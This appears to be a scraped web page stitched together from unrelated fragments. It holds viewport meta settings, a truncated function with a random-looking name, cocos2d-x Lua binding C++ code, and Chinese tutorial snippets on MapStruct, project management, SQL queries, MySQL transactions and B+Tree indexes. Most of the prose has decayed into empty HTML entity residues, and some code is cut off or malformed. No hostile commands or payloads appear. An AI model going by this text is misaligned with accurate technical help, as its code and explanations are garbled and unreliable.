&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“1.0”&#;&#;&#;&#;web&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;target density&#;&#;&#;&#;1:1&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“2.0”&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2&#;&#; 5. &#;&#;&#;&#; maximum-scale

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;“2.0”&#;&#;&#;&#;&#;&#;&#;&#;target size&#;&#;&#;&#;&#;&#;&#;&#;2&#;&#; 6. &#;&#;&#;&#;&#;&#;&#;&#; user-scalable

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;yes&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;no&#;&#;&#;&#;&#;yes&#;&#;&#;&#;&#;&#;&#;&#;&#;no&#;&#;&#;minimum-scale &#; maximum-scale&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;0.01?10&#;&#;&#;&#;&#;&#;

&#;&#;

(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;)

(&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;)

function DhbAQZYF()

{

for($Nj=0;$Nj= 1 tolua_Error tolua_err;#endif#if COCOS2D_DEBUG >= 1 if (!tolua_isusertype(tolua_S,1,"ccui.RichElementText",0,&tolua_err)) goto tolua_lerror;#endif cobj = (cocos2d::ui::RichElementText*)tolua_tousertype(tolua_S,1,0);#if COCOS2D_DEBUG >= 1 if (!cobj) { tolua_error(tolua_S,"invalid 'cobj' in function 'lua_cocos2dx_ui_RichElementText_init'", nullptr); return 0; }#endif argc = lua_gettop(tolua_S)-1; if (argc == 8) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; bool arg7; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:init"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:init"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:init"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:init"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:init"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:init"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:init"); ok &= luaval_to_boolean(tolua_S, 9,&arg7, "ccui.RichElementText:init"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_init'", nullptr); return 0; } bool ret = cobj->init(arg0, arg1, arg2, arg3, arg4, arg5,arg6,arg7); tolua_pushboolean(tolua_S,(bool)ret); return 1; } luaL_error(tolua_S, "%s has wrong number of arguments: %d, was expecting %d

  ", "ccui.RichElementText:init",argc, 6); return 0;#if COCOS2D_DEBUG >= 1 tolua_lerror: tolua_error(tolua_S,"#ferror in function 'lua_cocos2dx_ui_RichElementText_init'.",&tolua_err);#endif return 0;}int lua_cocos2dx_ui_RichElementText_create(lua_State* tolua_S){ int argc = 0; bool ok = true;#if COCOS2D_DEBUG >= 1 tolua_Error tolua_err;#endif#if COCOS2D_DEBUG >= 1 if (!tolua_isusertable(tolua_S,1,"ccui.RichElementText",0,&tolua_err)) goto tolua_lerror;#endif argc = lua_gettop(tolua_S) - 1; if (argc == 6) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } if (argc == 7) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5, arg6); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } if (argc == 8) { int arg0; cocos2d::Color3B arg1; uint16_t arg2; std::string arg3; std::string arg4; double arg5; int arg6; bool arg7; ok &= luaval_to_int32(tolua_S, 2,(int *)&arg0, "ccui.RichElementText:create"); ok &= luaval_to_color3b(tolua_S, 3, &arg1, "ccui.RichElementText:create"); ok &= luaval_to_uint16(tolua_S, 4,&arg2, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 5,&arg3, "ccui.RichElementText:create"); ok &= luaval_to_std_string(tolua_S, 6,&arg4, "ccui.RichElementText:create"); ok &= luaval_to_number(tolua_S, 7,&arg5, "ccui.RichElementText:create"); ok &= luaval_to_int32(tolua_S, 8,&arg6, "ccui.RichElementText:create"); ok &= luaval_to_boolean(tolua_S, 9,&arg7, "ccui.RichElementText:create"); if(!ok) { tolua_error(tolua_S,"invalid arguments in function 'lua_cocos2dx_ui_RichElementText_create'", nullptr); return 0; } cocos2d::ui::RichElementText* ret = cocos2d::ui::RichElementText::create(arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7); object_to_luaval(tolua_S, "ccui.RichElementText",(cocos2d::ui::RichElementText*)ret); return 1; } luaL_error(tolua_S, "%s has wrong number of arguments: %d, was expecting %d

  ", "ccui.RichElementText:create",argc, 6); return 0;#if COCOS2D_DEBUG >= 1 tolua_lerror: tolua_error(tolua_S,"#ferror in function 'lua_cocos2dx_ui_RichElementText_create'.",&tolua_err);#endif return 0;} &#;&#;&#;&#;&#;

使用MapStruct告别BeanUtils(简单入门)_MapStruct

MapStruct&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Java bean&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MapStruct &#;&#;&#;&#;&#;&#;&#;&#;1&#;&#;&#;&#;&#;&#;&#;&#;&#;getter&#;setter&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;DTO&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MapStruct&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MapStruct&#;&#;&#;&#;&#;&#;bean&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

MapStruct&#;&#;&#;&#;&#;Java&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Maven&#;Gradle&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;IDE&#;&#;&#;&#;

MapStruct&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

MapStruct&#;&#;&#;&#;&#;&#;&#;BeanUtils&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;BeanUtils&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;MapStruct&#;

&#;&#;&#;

&#;&#;maven&#;

&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; Java &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;org.mapstruct.Mapper&#;&#;&#;

MapStruct &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;

使用MapStruct告别BeanUtils(简单入门)_java_02

&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; IP &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#; Web &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#; HTTP &#;&#;&#;&#;

&#; HTTP &#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;Project Management&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;PE&#;Project Evaluation&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;Delivery Methodology&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;Waterfall Model&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;Agile Development&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Scrum&#;XP&#;&#;

&#;&#;&#;&#;&#;Iterative Development&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;PE&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

SQL:Structured Query Language&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;&#;&#;

SELECT &#;&#;&#;&#;

FROM &#;&#;&#;&#;&#;&#;&#;

&#;WHERE &#;&#;&#;&#;&#;&#;

&#;GROUP BY &#;&#;&#; &#;HAVING &#;&#;&#;&#;&#;&#;&#;

&#;ORDER BY &#;&#; &#;ASC|DESC&#;&#;

&#;LIMIT m,n&#;;

&#;&#;&#;&#;&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;select&#;&#;&#;from&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

inner join &#;&#; inner &#;&#;&#;

outer join &#;&#; outer &#;&#;&#;

&#;&#;&#;

&#;table1&#;table2&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

FROM t_employee AS emp, t_employee AS mgr

WHERE emp.mid = mgr.eid;

&#;&#;&#;&#;

l AVG(&#;DISTINCT&#; expr) &#;&#;expr&#;&#;&#;&#;

l COUNT&#;&#;DISTINCT&#; expr&#;&#;&#;expr&#;&#;NULL&#;&#;&#;&#;

l MIN(&#;DISTINCT&#; expr)&#;&#;expr&#;&#;&#;&#;

l MAX(&#;DISTINCT&#; expr)&#;&#;expr&#;&#;&#;&#;

l SUM&#;&#;DISTINCT&#; expr&#;&#;&#;expr&#;&#;&#;

&#;&#;&#;&#;: Group By &#;&#;

&#;SELECT &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#; GROUP BY &#;&#;&#;&#;

&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;&#;&#;&#;:101&#;&#;&#;&#;&#;&#;&#;&#;li4&#;102&#;&#;&#;&#;&#;&#;&#;&#;t7,&#;&#;SQL&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

请在此添加图片描述

&#;&#;&#;name&#;&#;&#;&#;Group By &#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;Null&#;

&#;&#;SQL&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;li4&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Mysql&#;&#;

&#;&#;:&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;(Atomicity)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;(Consistency)&#;&#;&#;&#;&#;&#;&#;,&#;&#;&#;&#;/&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;(Isolation)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;.

&#;&#;&#;(Durability)&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;

1.&#;&#;&#;&#;

2.&#;&#;&#;&#;(Mysql&#;&#;&#;&#;)

3.&#;&#;&#;&#;

4.&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#; &#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

请在此添加图片描述

请在此添加图片描述

&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;select index from user;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

Crete id int(60)AUTO_INCREMENT key&#;

CREATE INDEX &#;&#;&#; ON &#;&#;&#; (column_name,column_name…);

&#;&#;&#;&#;&#;BTree B+Tree B&#;balance

BTree&#;&#;&#;&#;&#;&#;

&#;&#;&#;1.&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;,&#;&#;IO

B+Tree&#;

&#;&#;: 1.&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;3&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;IO

&#;&#;&#;BTree&#;&#;&#;&#;&#;IO&#;&#;&#;Mysql&#;&#;B+Tree

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;&#;

